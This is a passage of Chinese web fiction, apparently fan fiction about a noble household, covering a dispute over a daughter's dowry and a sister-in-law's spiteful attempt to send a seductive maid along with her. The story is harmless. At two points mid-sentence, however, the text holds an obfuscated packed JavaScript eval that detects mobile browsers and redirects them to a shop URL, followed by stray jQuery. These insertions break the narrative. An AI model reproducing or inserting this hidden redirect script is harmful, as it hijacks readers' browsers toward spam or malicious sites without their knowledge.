盛老太太说到这里,语气中带着些许商议的意味,道:“不过,我又想着婷儿自会将烟姐儿的嫁妆置办齐全,若是我们按丰国公府姑娘们的嫁妆再给烟姐儿置办一份,其中大部分的东西怕是会和婷儿准备的重复,这样也不太方便婷儿给烟姐儿规整嫁妆,更何况若是我们给烟姐儿置办的东西数量超过顾家给烟姐儿准备的东西,这顾家脸上也不好看,我想着要不就将其中大部分东西变现成银钱和珠宝首饰给烟姐儿,瑾儿,你觉如何呢?” 盛瑾听着盛老太太的话,目光始终停留在翘着脚美滋滋的喝着蜜水的盛长安身上,语气没有丝毫波澜,道:“这些我都不太懂,全凭母亲安排即可。” 盛老太太瞧着盛瑾的心思也不在上面,随即微微一笑,道:“既然你这么说,过几日,我就直接带着东西去找婷儿了,正巧我还没去过顾家呢。” 盛瑾本来想回一声“好的”,下意识回过神来看向盛老太太,语气中带着些许惊讶,道:“母亲,你要去顾家嘛,其实您用不着这么麻烦,这些事情只需要派人带着东西和信件去顾家给妹妹就行了,您何必再去一趟顾家呢。” 盛老太太看着盛瑾,脸上带着些许笑意,语气中带着些许打趣的意味,道:“你本就因着顾偃开不上顾家大门了,这次婷儿的嫡女出嫁,我怎么也要在她出嫁前去一趟顾家,给她和婷儿撑撑场面,要不然,人家还以为那次宴席上我和婷儿联手诓骗她们呢。” 盛老太太自是知道白滢婷一直堵着气给顾廷烟置办丰厚的嫁妆,其中有些原因是想要打先前那些个拿她的话当玩笑的大娘子的脸。 盛瑾听到盛老太太这么说,就没什么反对的话了,倒是一旁翘着脚喝蜜水、两耳不闻窗外事的盛长安猛地回神,道:“祖母,祖母,我也要去找姑姑和表姐。” 盛老太太和盛瑾被盛长安的大嗓门给惊得愣了一下,没一会儿,盛老太太眼含笑意的摸了摸盛长安的小脸蛋,道:“好好好,祖母带你一起去找你姑姑,不仅是你,连你姐姐也一起带上。”而盛瑾则是笑而不语。 三天后,盛老太太和盛长安、盛明兰带着一车东西去顾家找盛瑾,临走前一天,白老爷还托盛老太太带了一些东西给白滢婷,说是他这个外祖父给顾廷烟这个外孙女的添妆,盛老太太自然不会拒绝。 宁远侯府白滢婷院中,白滢婷一早就收到盛老太太要来的信件,等盛老太太的马车一到,她早已赶到了顾家的大门口,满脸笑意的接过房嬷嬷手中的盛长安,迎着盛老太太和盛明兰直接朝她院子走去,而那一马车的东西也被她安排小厮卸下直接送到她院中去了。 等白滢婷带着盛老太太一行人一路畅通无阻的进到了她屋内后,她抱着盛长安关切的询问了盛老太太好些事情后,又稀罕了盛长安和盛明兰好一会儿,接着便让莲儿带着两个孩子去找顾廷烟玩耍、吃点心了。 等盛明兰和盛长安被带走后,白滢婷迫不及待的起身走到里屋去,不一会儿从里屋取了好几张纸出来,她将这些个纸张递给盛老太太,一脸献宝的表情,道:“干娘,这是我给烟姐儿拟的嫁妆单子,你快帮我看看,还有没有什么需要改进的地方呢?” 盛老太太拿着白滢婷的那几张纸,细细打量了一番,语气中满是笑意,道:“我瞧着没什么问题,婷儿,你尽可以放心的。” 白滢婷听着盛老太太的话,脸上宛如松了口气般的神情,道:“不瞒干娘你了,我也是第一次给姑娘置办嫁妆,又想要给烟姐儿争口气,便想将这些个事情办漂亮了,可我总共就只见过自己和嫂嫂的嫁妆单子,实在拿不定主意,如今有干娘的话在,我也放心许多。” 盛老太太见过慕卿云那本厚厚的嫁妆单子,也听过白滢婷当初嫁入顾家所带的嫁妆之多的事情,自是知道这两人的嫁妆单子没什么参考价值,毕竟整个天下都找不出几个比这二人的嫁妆还多的人了,她刮了一下白滢婷的鼻子,语气中带着一丝笑意,道:“你啊!你,平日里也没见你这么争强好胜啊!” 白滢婷闻言自是一个劲的笑着,也不反驳盛老太太的话,而盛老太太瞧着白滢婷这般样子,则是嘴角微微翘起,看了一眼身旁的房嬷嬷,随即房嬷嬷便从身后丫鬟手中接过一个盒子,放在盛老太太和白滢婷面前。 盛老太太将桌上的盒子向白滢婷推进一些,语气柔和,道:“这里面是银票、田产铺子的地契、分配红利的契劵,还有一张单子上面记录了马车里的东西以及盒子中的东西分别是谁给烟姐儿的添妆,我和你哥哥按照丰国公府姑娘置办嫁妆的份额给烟姐儿准备了一百亩水田和一间铺子,除去这些和马车上那些个珠宝首饰外,其他的东西我们都折算成给烟姐儿的嫁妆银钱,在加上纮儿给烟姐儿的嫁妆银钱,我又掏些银钱凑成整数一万两,你父亲托我给了烟姐儿一万五千两银票和三份分配红利的契劵。” 白滢婷眼中闪过一丝惊讶,语气中带着些许疑问,道:“盛通判和王大娘子也给烟姐儿添妆了嘛,我与他们又不甚亲近。”她倒是不在意盛老太太、盛瑾、白老爷给烟姐儿多少添妆的事情,就是没想到盛纮和王若弗也会给顾廷烟添妆。 盛老太太脸上的笑意没有丝毫变化的提醒了一句,道:“满汴州城都知道你哥哥最是心疼你了,你既然是你哥哥的妹妹,那自然而然也是他们的义姐。” 白滢婷听出盛老太太话中的意思,嘴角微微弯起,道:“干娘说的是,我记着盛通判和王大娘子的嫡长女华姐儿也要及笄了,等华姐儿出嫁时,我这个当姑母的定会好好给侄女添妆的。” 盛老太太听着白滢婷的话,正打算回复时,突然,一位妇人直径走进来,语气中带着些许嘲讽的意味,音量颇为大声,道:“大嫂嫂也真是的,这盛老夫人来我们顾家,也不知道叫我们这些个妯娌出来见见长辈,没得外人还以为我们这些个妯娌不知礼数呢。” 盛老太太朝着门口望去,不难看出那妇人脸上的笑容有多虚伪,而这位妇人身后还跟着另一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666923|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面带些许歉意的妇人,她按照白滢婷先前和她说过的顾家情况,不用猜出也知道前头这位就是顾家五房太太,而后面那位则是顾家四房太太。 白滢婷一见来人是顾家五房太太,脸上的笑意就淡了许多,语气中带着些许敷衍的意味,道:“五弟妹,瞧你说的什么话啊!我娘家干娘来了,还要找人去请你过来不成。”言外之意是我娘家来人为什么一定要叫上你呢。 顾家五房太太被白滢婷这一句给噎了一下,不过,她眼尖的瞧见桌子上的盒子,随即阴阳怪气道:“盛老夫人这是给烟姐儿添妆来了啊!大嫂嫂也真是的,又不是亲生的,用不着这般假戏真做的给烟姐儿置办如此丰厚的嫁妆吧,瞧瞧,你这是搬空我们顾家给烟姐儿置办嫁妆还不够,居然还将手伸向了自个的娘家了。” 顾家四房太太闻言,脸色微微有些尴尬,她扯了扯顾家五房太太的衣角,缓和气氛道:“五弟妹,你这说的什么话啊!我们今个过来不是来见过盛老夫人和给烟姐儿添妆嘛。” 顾家四房太太在今早顾家五房太太来找她时就察觉到了不对劲,她拖延了顾家五房太太好一会儿,才让顾家五房太太晚些来找白滢婷,为了缓解尴尬,她还将先前给顾廷烟准备的添妆带上,为的就是防止顾家五房太太的愚蠢行为波及到自己,于是她在顾家五房太太的怒目而视下,笑着让丫鬟将先前准备好的东西递给白滢婷,道:“这是我当婶婶的一点心意,还望大嫂嫂和烟姐儿莫要嫌弃啊!” 白滢婷让身边的常嬷嬷接过那个丫鬟手中的盒子,语气柔和,道:“四弟妹说的哪里的话啊!我欢喜还来不及,哪里会嫌弃你的东西呢,对了,你快坐下吧。” 白滢婷此话一出,顾家五房太太先顾家四房太太坐下后,语气十分不客气,道:“四嫂嫂,人家大嫂嫂哪里缺我们这点子东西啊!瞧瞧烟姐儿那嫁妆,也不知道大哥哥是怎么想的,居然能同意大嫂嫂你搬空顾家给烟姐儿置办嫁妆,这烟姐儿怕不是狐媚子吧,将大嫂嫂你和大哥哥迷的昏头转向的。” 白滢婷闻言,面色一冷,语气微微上扬,道:“五弟妹,你一个长辈说的什么话啊!居然说自家侄女是狐媚子,你以往读的书都读到了狗肚子里了嘛,这话若是传到外面影响的可是我们顾家全部女眷的声誉,再说了,烟姐儿平日里好歹叫你一声五婶婶,你这嘴上还是积点德的好。” 顾家四房太太的脸色也不太好看,若顾廷烟是狐媚子这种话传出去,那她女儿顾廷荧难保不会受牵连,毕竟她还是知道一家子兄弟姐妹一荣俱荣,一损俱损这个道理,因而她也语气不善,道:“五弟妹有些话还是要慎重思考后再说的。” 顾家五房太太听着顾家四房太太和白滢婷的话,脸色变得十分难看,就当她要开口说出更难听的话时,一直沉默不语的盛老太太突然出言,道:“我从刚才就一直听顾家五大娘子说我家婷儿搬空顾家给烟姐儿置办嫁妆,婷儿,真有这种事情嘛。” 白滢婷不明白盛老太太为什么这么说,但也老实回道:“母亲,你是知道我的,我一向是按规矩办事的,本来家中姑娘的嫁妆置办份额是嫡出的一万两,庶出的七千两,官人心疼烟姐儿被我们耽搁了些许时日,便同意我将烟姐儿的嫁妆置办份额提高到一万五千两,我都是按照官人说得来办的,至于烟姐儿嫁妆中多出来的那部分,是我拿自己的嫁妆贴补烟姐儿的。” 盛老太太看着顾家五房太太,脸上浮现出淡淡的笑容,语气中带着些许威胁的意味,道:“顾家五大娘子,这自古母亲拿自己的嫁妆贴补子女,向来是常态,怎么我家婷儿的嫁妆还是你们顾家的家产不成,还是说顾家五大娘子认为我家婷儿出不起这部分嫁妆呢?要不然,我将当初婷儿嫁入顾家的嫁妆单子拿来,我们理论一二,也好让顾家五大娘子了解一下我家婷儿到底出不出得起烟姐儿多出来的这部分嫁妆呢。” 盛老太太的话犹如一巴掌拍在顾家五房太太的脸,顾家五房太太瞬间涨红了脸,但她又不能反驳,当初白滢婷嫁入顾家带了多少嫁妆,她们这些妯娌心里还是略知一二的,这还是明面上的,谁知道当初慕卿云和盛瑾私底下有没有再给白滢婷什么东西呢,毕竟慕卿云去世后,白滢婷还从丰国公府取出了些东西放在她嫁妆中汴州城的一处宅子里,听白滢婷身边的人说是慕卿云留给白滢婷的遗物,就没听说过哪个嫁出去的姑娘还能得到嫂嫂留下来的一些嫁妆呢,可见白滢婷有多得慕卿云的喜爱,这也是她嫉妒白滢婷的原因之一。 顾家四房太太算是看出来了,这丰国公府就是多了个女主人,那也是站着白滢婷身后的,哪里能看着旁人欺负自家姑娘呢。 屋内的气氛一时变得寂静无声,过了一会儿,盛老太太才笑眯眯,道:“我就是随口一说,顾家五大娘子可别放在心上啊!不过,谁能保证自己这辈子不会有个孙子孙女呢,这烟姐儿再怎么说也是顾家的姑娘,还是顾侯爷唯一的女儿,她的名声可是连着整个宁远侯府姑娘的名声,若是她的名声受损了,对于整个顾家女的婚嫁多多少少会有些影响的,你说对吗?顾家五大娘子。” 顾家五房太太被盛老太太言语中暗藏的威胁,气得原本就涨红的脸又红了几分,她站起身来咬着牙,道:“盛老夫人不愧是勇毅侯府独女,这话中的大道理真是一个又一个啊!我这个当小辈的真是受教了。”她说完便拂袖而去了,独留顾家四房太太在此。 顾家四房太太瞧着顾家五房太太消失的背影,语气中带着些许无奈,道:“大嫂嫂,盛老夫人,我实在是抱歉啊!没能拦住五弟妹。” 白滢婷脸上浮现出一抹笑容,语气轻柔,道:“四弟妹,这哪能怪你呢?自从她打听了些我给烟姐儿置办嫁妆的消息后,便时不时闹一下,就算今天不闹这一出,等顾家女眷长辈们齐聚一堂看烟姐儿嫁妆单子时,她还是得闹一波的。” 顾家四房太太对于白滢婷的话深信不疑,要不是今日盛老太太拿话堵顾家五房太太,以顾家五房太太的个性怕是顾廷烟的嫁妆单子出来那一日还有得闹了。 顾家四房太太看着盛老太太笑意盈盈,语气中带着一丝敬意,道:“我想今日有盛老夫人这番话在,五弟妹也会顾及些的。” 盛老太太在汴州城女眷心目中向来是说一不二,顾家五房太太若是真敢闹,那盛老太太也不怕拿着白滢婷的嫁妆单子上门理论,到时候顾家五房太太丢脸是小,顾家五老爷乃至顾家丢脸是大,毕竟白滢婷的嫁妆银子可全填了顾家当初欠朝廷的银钱了,就冲这一点,顾家在盛老太太面前就直不起腰来。 白滢婷嘴角微微弯起,道:“算了,别聊这些影响心情的话了,我们聊些其他的吧。”她说吧,便拉着顾家四房太太和盛老太太聊起了其他话题,直到中午,她们二人才送盛老太太一行人出顾家的大门。 盛老太太在上马车前,拉着白滢婷的手,一脸郑重的轻声道:“婷儿,若是你那个妯娌还敢拿着烟姐儿的嫁妆说事,我和你哥哥也不怕拿着你的嫁妆单子找他们顾家人理论,你记住了,我们虽不惹事情,但也不怕事情。” 白滢婷自然知道盛老太太是在借着顾家四房太太的口,告诉顾家其他人若是敢没事给她找事,她们盛家也不是吃素的,毕竟她在顾家乃至汴州城的名声向来是不错的,一个妯娌又不是婆婆,整日给自家妯娌找事情,她们收拾这个妯娌也是事出有因,旁人说不得什么嘴。 白滢婷微微点了点头,然后,盛老太太在她和顾家四房太太的目光中上了马车,直到马车消失后,她们才进入顾家。 65.第 65 章 清晨,宁远侯府白滢婷的院子中,白滢婷一大早将顾廷烟和邱小娘叫过来,她将整理过后的嫁妆单子交给她们过目,并将其中谁给烟姐儿添了多少东西一并告知。 邱小娘站在烟姐儿身旁瞧着这些个嫁妆,心里止不住的激动,她也是见过大秦氏嫁妆单子的人,说实在的,虽然这份嫁妆中没有多少古董字画这种有底蕴的东西,但架不住田产铺子、分配红利这些个能带来实在银子的东西多啊!更何况还有三万两嫁妆银子呢,总价值比起大秦氏的嫁妆来也差不到哪里去。 邱小娘自认是个俗人,那些个古董字画玉器这种有底蕴的东西在她眼中远没有银子来的好使,银子可以直接买东西,而那些个古董字画玉器变现成银子还需要时间呢,要不然,当初顾家也不会想要娶个嫁妆丰厚的大娘子来还欠朝廷的银钱。 邱小娘眼角微红的拉着顾廷烟给白滢婷郑重行了一礼,语气微微哽咽,道:“大娘子对我们母女的恩情无以为报,往后我定会以大娘子为尊,尽心尽力伺候大娘子您,烟姐儿以后也会拿大娘子当自己亲生母亲般尊敬的。” 邱小娘心里十分清楚顾廷烟之所以能有这么多嫁妆,一是白滢婷拿自己的嫁妆贴补,二是丰国公府看在白滢婷的面子上才给顾廷烟添妆这么多东西,要不然,就顾偃开给的一万五千两怎么置办这么多田产铺子,更何况汴州城内好的田产铺子不是你有钱就能一下子买到的。 白滢婷对于邱小娘的话没什么反应,只是微微一笑,道:“烟姐儿如今在我名下,又叫我一声母亲,我自是会好好置办她的嫁妆,邱小娘你莫要太过客气了,对了,今日叫你们来除了看嫁妆单子外,还想问问你们需要添些什么嘛。” 邱小娘微微睁大双眼,语气急促,道:“不用了,不用再添什么,烟姐儿本就是低嫁,用不着这么多嫁妆,大娘子心善不愿烟姐儿受苦才陪嫁了如此丰厚的嫁妆,五房大娘子对此颇有怨言,若是再添些东西怕是会给大娘子惹麻烦。” 邱小娘原先还不知道顾家五房太太为什么因着顾廷烟的嫁妆闹事,如今瞧着这嫁妆单子,她也知道顾家五房太太为什么眼红了,光是田产铺子、分配红利,每年收入就将近五千两银子,这还不算上白滢婷给的嫁妆银子以及那成箱的珠宝首饰、上好布匹、玉器摆件等其他东西,这些个嫁妆的价值在七万两以上,这哪能不让顾家五房太太嫉妒呢,不过,一向忍气吞声的她为了顾廷烟也不打算退让什么,只能让白滢婷不要再给顾廷烟准备东西,毕竟这些个东西莫说是养活顾廷烟一辈子了,就是连带着何家一起养活都是够够的。 白滢婷瞧着邱小娘这般,不禁莞尔一笑,道:“邱小娘你果真是老实本分,居然丝毫都不贪心,不过,既然你说不用再添了,那就不添了,只是这陪嫁女使,你和烟姐儿想好要谁了嘛。” 邱小娘闻言,直言道:“陪嫁女使这一块,妾氏唯一想让烟姐儿带的是在她身边贴身伺候的女使们,其他的人选全凭大娘子安排。” 白滢婷听着邱小娘的话,思索片刻,道:“那就让烟姐儿将她的贴身女使都带上吧,另外我再挑些乖巧听话的女使一并给烟姐儿带上,对了,母亲留下的田妈妈颇为能干,也随烟姐儿一同去何家吧。” 邱小娘自然听说过老顾侯夫人身边的这位田妈妈,当年也是帮着老顾侯夫人管家理事的一把好手,如今能陪着自家女儿嫁去婆家自是放心的,她语气中充满了感激,道:“多谢大娘子的好意。” 白滢婷见无事便让邱小娘和顾廷烟先回去了,自己则是再想想顾廷烟的陪嫁丫鬟人选,直到顾家女眷齐聚一堂的前一天,她才将陪嫁人选定了下来,只是没想到顾家五房太太这天居然还能出幺蛾子。 这天顾家所有女眷长辈都齐聚一堂,其中包括已经嫁入杨家多年的顾老夫人的嫡亲女儿杨家大娘子,她瞧着轮到自己手中的这份顾廷烟的嫁妆单子,暗暗惊叹道:“怪不得我那五嫂嫂会挑事,瞧瞧这些个田产铺子,七百亩在汴州城附近上好的水田、三间汴州城内中等的铺子,除此之外,还有五份分配红利的契劵,这每年的收入都快赶上五房家产每年收入的一半了,还不算上嫁妆银子和其他东西呢,大嫂嫂真真是大手笔啊!如何能不让我那小心眼的五嫂嫂嫉妒抓狂呢。” 杨家大娘子瞥了一眼脸色难看的顾家五房太太,盛老太太来给顾廷烟添妆的事情,整个顾家人差不多都知道了,而且在顾家四房太太的有意为之下,大家都知道盛老太太的意思,若是依着顾家五房太太的意思在顾廷烟的嫁妆上闹上一闹,那盛老太太也会拿着白滢婷的嫁妆单子来顾家说理,说实在的她们就算是嫉妒顾廷烟嫁妆丰厚,但也知道这是人家白滢婷拿自个的嫁妆贴补的,真不干她们什么事情,她们再怎么闹,理也不在她们这边,更何况若是闹起来她们也得不到什么好处,反而会惹一身骚,再说了,白滢婷平日里对待顾家其他人向来是明理大方的,她们犯不着为着自己得不到好处的事情得罪白滢婷,于是满屋的人除了顾家五房太太外都是说着白滢婷这个嫡母当得好之类的话,回头碰到顾廷烟也是说顾廷烟要好好孝顺白滢婷之类的话,不过,这就是后话了。 白滢婷笑着应付着顾家女眷们的话,突然,一直沉默不语的顾家五房太太脸上浮现出一模古怪的微笑,道:“大嫂嫂对烟姐儿可真是好啊!可惜我这个当婶婶的没有大嫂嫂那么丰厚的嫁妆来给烟姐儿添妆,不过,我房中倒是有一个贴心可人的女使杏雨,她能给烟姐儿当陪嫁女使,帮烟姐儿排忧解难。” 顾家五房太太说完,便用眼神示意那位名为杏雨的丫鬟上前来,只见一位美貌柔媚的丫鬟走到白滢婷面前,语气中带着些许娇柔慵懒,道:“杏雨见过各位大娘子。” 白滢婷的脸色瞬间低沉下来,在座的大娘子们脸色也不大好看,毕竟明眼人都能看出这样丫鬟能给顾廷烟帮衬什么,怕不是帮衬着给未来姑爷纳个妾侍吧,不过,莫说是顾廷烟了,就是她们若要给夫婿找妾侍也不会找这种不安分的丫鬟。 杨家大娘子瞧着这种场景,语气中带着一丝警告,压低声音,道:“五嫂嫂莫要太过了些,烟姐儿好歹也是你看着长大的。” 顾家五房太太见白滢婷脸色不好,心情十分愉悦,脸上的笑容灿烂了几分,语气微微上扬,道:“瞧六妹妹这是说的什么话啊!正因为烟姐儿是我看着长大的,我才给她千挑万选了杏雨这个好帮手啊!烟姐儿有杏雨在,以后姑爷那边的事情也能少受些累不是嘛。”说起来要不是她在自己大儿子房中发现这个狐媚子,一时半会还想不出这种法子,即能打发了这个迷惑她大儿子的狐媚子,又能恶心白滢婷这个贱人,简直是一箭双雕啊! 白滢婷眼中闪过一丝冷笑,语气中暗含讽刺,道:“那真是劳烦五弟妹为烟姐儿操心了,可惜啊!烟姐儿的陪嫁女使早已选好,这何家小门小户的也放不下这么多女使,我也不好让五弟妹割爱这等好帮手了。” 白滢婷说到这里,目光转向杨家大娘子,语气轻柔,道:“六妹妹,我瞧着五弟弟近日醉心书籍,身子瞧着有些许单薄,要不我们这当嫂嫂妹妹的给他找个体贴的人照顾一番,也好让他不会因着醉心诗书古籍而忘了顾及自己的身子骨。” 杨家大娘子本就觉得顾家五房太太此番行事十分难看,她好言相劝,没曾想顾家五房太太竟然丝毫不给她脸面,如今瞧着白滢婷找顾家五房太太的茬,她也乐得搭话,道:“谁说不是啊!我今个回来远远瞅见五哥哥的身影,瞧着是单薄了些,没成想大嫂嫂心细如发居然比我还早发现五哥哥的身子单薄,想来是五嫂嫂忙于管家理事、照顾哥儿们,一时顾及不到五哥哥吧。” 杨家大娘子说到这里,面带微笑,道:“也是该给五哥哥找个可心的人来帮衬五嫂嫂了,这五哥哥房中只有一位小娘,还是个不识字的,实在无法体贴以及为五哥哥解闷,若是大嫂嫂真要给五哥哥找个可心的人,要我说这容貌是次要的,才情才是最重要的,若是个才情出众的,即便是个清秀佳人,五哥哥也定会欢喜的。” 顾家五房太太瞬间火冒三丈的看着白滢婷和杨家大娘子,气急败坏的用手指着她们,道:“我们五房的事情什么时候轮得到你一个外嫁女和大房的人插手了。” 顾家五房太太的话可谓是火上浇油,原先杨家大娘子只是说着玩的,现下倒真起了几分这种想法,她语气中满是嘲讽的意味,道:“我是外嫁女不错,但我也是顾家的姑娘,哥哥的嫡亲妹妹,怎么就不能在哥哥面前提一提这件事情呢,更何况你都能给烟姐儿未来的夫婿塞妾侍了,长嫂如母,大嫂嫂怎么就不能给五哥哥找个可心的人呢。” 顾家五房太太被杨家大娘子的话气得全身发抖,语气中满是愤怒的意味,道:“你一个外嫁女插手自己哥哥的房中事真是不知羞耻,若是传出去了,那杨家怕是要休了你才能挽回名声。” 杨家大娘子眼中带着些许冷笑,道:“休我,怕是五哥哥休了你,杨家也不会休了我吧,再者,我不知羞耻,呵,我再怎么不知羞耻也不会将人带到五哥哥面前,硬塞到五哥哥怀中,你也算是高门大户出身的,怎么能眼皮子浅到嫉妒自家侄女嫁妆丰厚而给她未来的夫婿塞妾侍呢,我到要替去世的母亲给你娘家写封信,询问一下他们是如何教导自家姑娘的教养的。” 顾家五房太太一听到杨家大娘子这番话,再也压抑不住自己内心的怒火,冲上去就要打杨家大娘子,好在白滢婷时刻关注着顾家五房太太,随即伸手拉了一把杨家大娘子,才让杨家大娘子躲过顾家五房太太的攻击,然后,白滢婷又吩咐丫鬟们将顾家五房太太拉住,而杨家大娘子则是一脸不可置信的看着面目狰狞的顾家五房太太,仿佛受到了天大的委屈般,道:“你居然想打我,我从小到大都没被人动过一个手指头,你个贱人,我要去找大哥哥和五哥哥告你。” 杨家大娘子说着便径直朝顾偃开所在的大厅内冲去,不过一会儿,她就拉着顾偃开及顾家其他男丁们回到了这里,最终事情还是闹到了顾家男丁们的面前,顾家五老爷瞧着一把年纪的妹妹泪流满面的哭诉着自己的委屈,只觉的自己这张老脸都被顾家五房太太丢尽了。 杨家大娘子用听者落泪,闻者悲伤般的语气补充道:“大哥哥,五哥哥,怎么,母亲父亲去世后我就不是顾家的女儿了嘛,若是哥哥们都这么认为,那以后我也不必回顾家惹人嫌了。” 顾偃开扯了扯嘴角,语气僵硬的安抚杨家大娘子,道:“六妹妹说的是什么话啊!你怎么就不是顾家的女儿呢,只要我还在,你想什么时候回顾家,就什么时候回顾家,谁也不敢说你什么。” 顾家五老爷可就没有顾偃开这般客气的说辞了,他眼含怒火的看向衣着有些凌乱的顾家五房太太,道:“你个蠢妇是嫌家里太安静了嘛,一天到晚的挑事情,烟姐儿一个小辈哪里惹到你了,你一没为她做过半点好事,二没给她的嫁妆出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666924|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝力,如今倒是想给她添起堵来了,你可真是妄为烟姐儿的长辈啊!” 顾家五老爷瞧着一旁努力降低存在感的庶兄们和顾家其他女眷,以及脸上带着一丝看热闹的顾家四房老爷,心里的火是越烧越旺,他指着顾家五房太太,语气中充满了怒火,道:“你个蠢出生天的妇人,我原先的话,你是一句都没放在心上啊!你给我等着,我现下就去书房写信给岳父岳母,问一问,她们是如何教养你的。” 顾家五老爷正是气在头上,顾家其他男丁和女眷都不敢阻拦,而顾偃开有心拦一下,但架不住顾家五老爷如今是铁了心要给顾家五房太太的父亲母亲写信告状,再加上他瞧见白滢婷脸上的神情有些低沉,到底还是没硬拦住顾家五老爷,而此时的顾家五房太太瞧这架势也知道自己玩脱了,她倒是想要拦顾家五老爷,可架不住身旁有丫鬟拉着她,没法立刻去追顾家五老爷。 等顾家五房太太回到自己院中时,顾家五老爷的一封信早已写好送了出去,而本来好端端的家宴也被顾家五房太太这一闹给搅和了。 白滢婷收拾了一下自己的心情,强颜欢笑的安抚了杨家大娘子以及受惊的其他顾家女眷,又备了厚礼将这些个人周到的送出了顾家,一场家宴下来,顾家五房太太的名声在顾家已经算得上是臭名昭著了,好在顾家其他人都知道家丑不可外扬,这嘴闭的是严严实实,要不然,这顾家五房太太娘家的名声也要受牵连,不过,现下这些个顾家女眷瞧着白滢婷甚是心疼,心里暗道:“这端淑县主也是够可怜的,摊上个这么不知分寸的弟妹,这给自家嫡女置办嫁妆也要被弟妹找茬,可见平日里这弟妹怕是也不怎么安分吧。” 顾家长辈那边闹出这么大个动静,即使顾家小辈们没到现场,那也能从自家母亲乃至丫鬟那里探听个一二,他们也是顾家人,丫鬟那边即使嘴巴在严实也会透露一二,不到一天时间,顾家小辈那边也对此事略知一二了,而顾家五房太太生的两个儿子,大的倒是不觉得自家母亲做错什么,小的那个因着自家母亲偏疼兄长倒是没被他母亲的思想影响,也知道这件事情是他母亲不在理,自觉羞愧的将自己关在房间内好些天不出门,这也是后话了。 顾廷煜的院内,顾廷煜看着从白滢婷的院中回来的邵氏,语气中带着些许淡然,道:“母亲,那边怎么样呢?” 邵氏走到顾廷煜身边坐下,轻声细语,道:“母亲瞧着那脸色不太好,父亲来瞧了母亲一眼,母亲并未跟父亲说什么,只是一个劲的安抚着三妹妹,倒是三妹妹哭着和父亲说都是她的错,一个庶出就算有嫡母垂帘,也配不得这么丰厚的嫁妆,没得惹家中长辈不合,父亲也没说什么,坐了一会儿便离开了。” 顾廷煜端起茶杯,喝了口茶,瞧着邵氏有些欲言又止的表情,道:“怎么,你觉得三妹妹的话说得有道理嘛。” 邵氏向来是以夫为天的,自然不会瞒着顾廷煜什么,便直言道:“官人,我只是觉得多一事不如少一事,三妹妹本就是低嫁,就算没有这么个丰厚嫁妆,那何家也不敢怠慢她,倒不如随了五婶婶的意,也免得家中闹这么一场。” 顾廷煜听着邵氏的话,不禁揉了额头,随即给邵氏细细解释道:“就算没有这件事情,五婶婶也会在其他地方找母亲的茬,先前我们、四婶婶和三妹妹管家时,五婶婶便想拿长辈身份占便宜,我们和三妹妹都是找四婶婶来帮忙的,那时五婶婶便记恨上三妹妹和我们,我身子骨弱又有父亲护着,她自是不能干些什么的,三妹妹那边倒是被她以长辈的名义找过几次茬,好在母亲站在三妹妹这边,五婶婶又不在理,也就挡了回去。” 顾廷煜说到这里,眼中闪过一丝嘲讽,道:“五婶婶本就瞧不上母亲的出身,再加上先前找母亲说的几件事情,母亲都没同意帮她,便记恨上了母亲,可母亲背后有舅舅舅母,祖父祖母自是不会让母亲在顾家受委屈的,她也只能咽下这口气,等祖父祖母逝世后,她自觉没人能压住她了,又蹦哒了起来,但母亲也不是吃素的,给她吃了好几次暗亏后,她便只能在言语上恶心一下母亲了。” 顾廷煜用食指敲了敲桌面,继续道:“盛老夫人上次来家里给三妹妹添妆时,五婶婶本就想挑起盛老夫人和母亲的矛盾,她觉着舅舅半路认回来的母亲是碍于舅舅的面子才来给三妹妹添妆的,没曾想盛老夫人给了她一阵难看,她就是想再拿嫁妆说事也不成了,我原先就猜出她不会善罢甘休,自是没想到她会做出这般蠢事,五叔父是最要脸面的,这件事情让他在顾家众人面前丢尽了脸面,他怕是不会对五婶婶轻拿轻放了。” 邵氏听着顾廷煜的话,眼中闪过一丝担忧,道:“官人,那这件事情还得闹嘛,五叔父如今都不愿和五婶婶待在一个院子里了,怕不是要休妻呢?” 顾廷煜脸上浮现出一抹冷笑,语气中带着些许嘲讽的意味,道:“休妻,呵,五叔父可没那个能耐休妻啊!且不说他要顾着炀堂兄和狄堂弟的名声,五婶婶的娘家也不是什么小门小户之家,他们可万不会让自家姑娘被休妻的,怕是要不了多久,五婶婶的娘家人就该上门了。” 顾廷煜说到这里,目光放在邵氏身上,叮嘱道:“我们家这些天怕是要热闹了,你跟在母亲身边什么话都不要说,只是看着便好了。” 顾廷煜也了解邵氏的性子,她不帮着白滢婷就是在给白滢婷帮忙了,而邵氏也点了点头表示自己知道了,顾廷煜随即又嘱咐了一些其他事情。 66.第 66 章 清晨,宁远侯府距离上次顾家女眷齐聚一堂才过了一天,而顾家五房太太的娘家也在汴州城,几乎是她娘家父母收到信的第二天便登上了顾家的大门,此时的顾家五房太太正一脸心虚的看着自己满脸忧愁的母亲。 顾家五房太太的母亲看着眼神漂浮不定的顾家五房太太,再想到顾家五老爷在信中说的事情,忍不住上前拍打了几下顾家五房太太,语气夹杂着一丝怒火,道:“我和你父亲也从未缺过你什么好东西,以前家中但凡得了什么好东西也是先紧着你的,你的嫁妆也是尽家中最大努力去置办的,怎么就养出你这么个眼皮浅的样子,你往日学过的道理都跑哪去了,人家添妆添得是财物,你到好给自家侄女添了个妩媚妖娆的女使,你是明着恶心人啊!” 